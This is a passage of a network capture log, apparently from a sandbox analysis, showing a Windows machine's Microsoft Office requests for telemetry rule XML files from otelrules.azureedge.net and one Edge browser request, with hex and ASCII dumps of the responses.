2024-11-19 00:01:37 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:37 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:37 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc51cea9-201e-003f-04b1-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000137Z-16559997f87vprq2hC1DFWczdn00000000m000000000q09b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:37 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:37 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000137Z-16547b76f7fmcv27hC1DFWgpcg000000056g00000000x78b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:37 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:37 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000137Z-16547b76f7fzwxm2hC1DFWt5hw000000040g00000000uu2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49859	94.245.104.56	443	7900	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:38 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 00:01:38 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 19 Nov 2024 00:01:37 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=9f138fe40e53e241408034e8cd47d4d452b331805ff6d9018b002451153e871e;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:38 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000138Z-16547b76f7fgfpmjhC1DFWw6ec00000006100000000073s3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:38 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 847c0de1-101e-0065-6409-3a4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000138Z-r18f44ddb69jg8vphC1DFWq24c00000000e000000000ac6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:38 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 57eb6011-f01e-003f-70b3-39d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000138Z-16547b76f7ftfv4jhC1DFWuhug0000000460000000003rab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:39 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000139Z-r18f44ddb694v9hbhC1DFW4shn00000000qg000000006h8b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:39 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 39f41317-b01e-0098-65dd-39cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000139Z-r18f44ddb69vpnwdhC1DFWa89n00000000n0000000008epk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:39 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000139Z-r18f44ddb696q9jxhC1DFWck0000000000hg000000008zrc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:39 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000139Z-r18f44ddb69vchkhhC1DFWc4bs00000000q000000000adpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:39 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000139Z-16547b76f7f64d6whC1DFWf9vn000000053g00000000cshh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
